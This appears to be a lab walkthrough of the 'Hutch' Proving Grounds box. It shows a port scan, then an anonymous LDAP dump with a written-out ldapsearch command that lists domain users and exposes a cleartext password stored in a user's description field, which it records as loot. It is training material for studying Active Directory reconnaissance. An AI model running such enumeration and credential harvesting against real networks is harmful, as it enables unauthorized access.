Hutch — Proving Grounds (192.168.143.122)

fmcsorley : CrabSharkJellyfish192

#proving grounds#pg#walkthrough#boxes#os:windows#os:linux#tech:active-directory

Hutch — Proving Grounds (192.168.143.122)

🐺 howlsec@kalibash

$#Loot
$fmcsorley : CrabSharkJellyfish192

Port Enumeration

🐺 howlsec@kaliphp

0153/tcp    open  domain        Simple DNS Plus
0280/tcp    open  http          Microsoft IIS httpd 10.0 (WebDAV enabled: PUT, COPY, MOVE, PROPFIND, MKCOL, LOCK...)
0388/tcp    open  kerberos-sec  Microsoft Windows Kerberos
04135/139/445  msrpc / netbios / microsoft-ds
05389/3268  ldap  Microsoft Windows Active Directory LDAP (Domain: hutch.offsec)
06464/593/636/3269  kpasswd / ncacn_http / ldaps
075985/tcp  open  http  Microsoft HTTPAPI 2.0 (WinRM)
089389/tcp  open  mc-nmf  .NET Message Framing

Domain: hutch.offsec. IIS on 80 has WebDAV with risky methods (PUT) enabled.

LDAP (389) - anonymous bind dump

Anonymous LDAP bind is allowed, so dump the whole directory:

🐺 howlsec@kalipowershell

$ldapsearch -H ldap://192.168.143.122 -x -b "DC=hutch,DC=offsec" > ldap_dump.txt

The dump enumerates all domain users (rplacidi, opatry, ltaunton, acostello, jsparwell, oknee, jmckendry, avictoria, jfrarey, eaburrow, cluddy, agitthouse, fmcsorley, ...). Crucially, the description field of Freddy McSorley (fmcsorley) leaks a cleartext password:

🐺 howlsec@kalicode

01description: Password set to CrabSharkJellyfish192 at user's request. Please change on next login.

Creds: fmcsorley : CrabSharkJellyfish192 — usable for the domain (e.g. WinRM / further access).